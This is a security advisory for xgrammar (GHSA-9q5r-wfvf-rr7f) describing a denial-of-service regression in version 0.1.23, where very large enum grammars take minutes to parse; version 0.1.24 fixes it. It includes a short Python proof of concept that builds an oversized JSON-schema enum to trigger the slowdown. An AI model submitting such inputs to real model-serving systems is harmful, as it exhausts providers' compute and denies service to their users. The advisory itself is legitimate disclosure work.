GHSA-9q5r-wfvf-rr7f

Suggest an improvement
Source
https://github.com/advisories/GHSA-9q5r-wfvf-rr7f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-9q5r-wfvf-rr7f/GHSA-9q5r-wfvf-rr7f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9q5r-wfvf-rr7f
Aliases
Related
Published
2025-09-05T21:10:06Z
Modified
2026-02-04T02:15:16.578424Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X CVSS Calculator
Summary
xgrammar vulnerable to denial of service by huge enum grammar
Details

Summary

Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.

Details

Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.

Patch

This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.

Thanks to @Seven-Streams

PoC

import string
import random

def enum_schema(size=10000,str_len=10):
    enum =  {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
    schema = {
        "definitions": {
            "colorEnum": enum
        },
        "type": "object",
        "properties": {
            "color1": {
                "$ref": "#/definitions/colorEnum"
            },
            "color2": {
                "$ref": "#/definitions/colorEnum"
            },
            "color3": {
                "$ref": "#/definitions/colorEnum"
            },
            "color4": {
                "$ref": "#/definitions/colorEnum"
            },
            "color5": {
                "$ref": "#/definitions/colorEnum"
            },
            "color6": {
                "$ref": "#/definitions/colorEnum"
            },
            "color7": {
                "$ref": "#/definitions/colorEnum"
            },
            "color8": {
                "$ref": "#/definitions/colorEnum"
            }
        },
        "required": [
                "color1",
                "color2"
         ]
    }
    return schema

schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))

where:

def test_schema(schema, instance):
    grammar = xgr.Grammar.from_json_schema(
        json.dumps(schema),
        strict_mode=True
    )
    return _is_grammar_accept_string(grammar, json.dumps(instance))

Impact

DOS

Database specific
{
    "github_reviewed": true,
    "nvd_published_at": "2025-09-06T19:15:38Z",
    "cwe_ids": [
        "CWE-770"
    ],
    "github_reviewed_at": "2025-09-05T21:10:06Z",
    "severity": "MODERATE"
}
References

Affected packages

PyPI / xgrammar

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0.1.23
Fixed
0.1.24

Affected versions

0.*
0.1.23

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-9q5r-wfvf-rr7f/GHSA-9q5r-wfvf-rr7f.json"